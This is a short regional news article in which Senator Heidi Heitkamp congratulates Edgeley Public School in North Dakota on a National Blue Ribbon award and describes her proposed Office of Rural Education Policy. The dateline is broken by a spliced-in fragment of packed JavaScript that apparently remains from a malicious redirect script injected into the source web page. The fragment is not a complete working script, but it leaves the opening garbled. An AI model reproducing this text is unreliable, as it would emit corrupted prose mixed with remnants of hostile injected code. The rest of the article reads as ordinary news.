EDGELEY, niehf|var|u0026u|referrer|ihrrk||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Following their selection as one of the top schools in the nation, U.S. Senator Heidi Heitkamp today congratulated Edgeley Public School students, faculty and the entire community on the honor.

During a speech at the school, Heitkamp credited the award as a National Blue Ribbon School to the hard work of students, parents, and teachers, and the support of community members.

“The Edgeley Rangers have shown us what can happen with hard work, dedication and the motivation to succeed. We can all attest to it, and this national award reaffirms it,” said Heitkamp. “The entire community should be proud that the school has been recognized as one of the best in the country. Now we need to bring this level success to schools across North Dakota. If we make investments in education, we can absolutely make this happen.”

Heitkamp is committed to improving schools for all North Dakotans, including those in rural areas like Edgeley. In the Senate, she is working to create an Office of Rural Education Policy within the Department of Education. This office would make rural education a priority in this country by giving rural educators a seat at the table when education policy decisions are being made at the Department. This effort would help strengthen rural schools and harness the talent of students and teachers by offering them more opportunities to learn and grow.

“In rural America, we know one-size-fits-all models don’t work, which is why we need to make sure our voices are heard,” said Heitkamp. “Growing up the daughter of a school cook and a seasonal construction worker, I know that without the excellent public education I received, I would not be where I am today. Now as a Senator, I want to make sure all North Dakotans have the ability to receive a quality public education like I did.”

Founded in 1982, the National Blue Ribbon Schools Program recognizes public and private elementary, middle, and high schools where students perform at very high levels or where significant improvements are being made in students’ academic achievement. A National Blue Ribbon Schools flag overhead has become a mark of excellence in education recognized by everyone from parents to policy-makers in thousands of communities. Since the program’s founding, the U.S. Department of Education has bestowed this coveted award on more than 7,000 of America’s schools. Wyndmere Elementary and William S. Gussner Elementary in Jamestown were the two other North Dakota schools to also receive the recognition.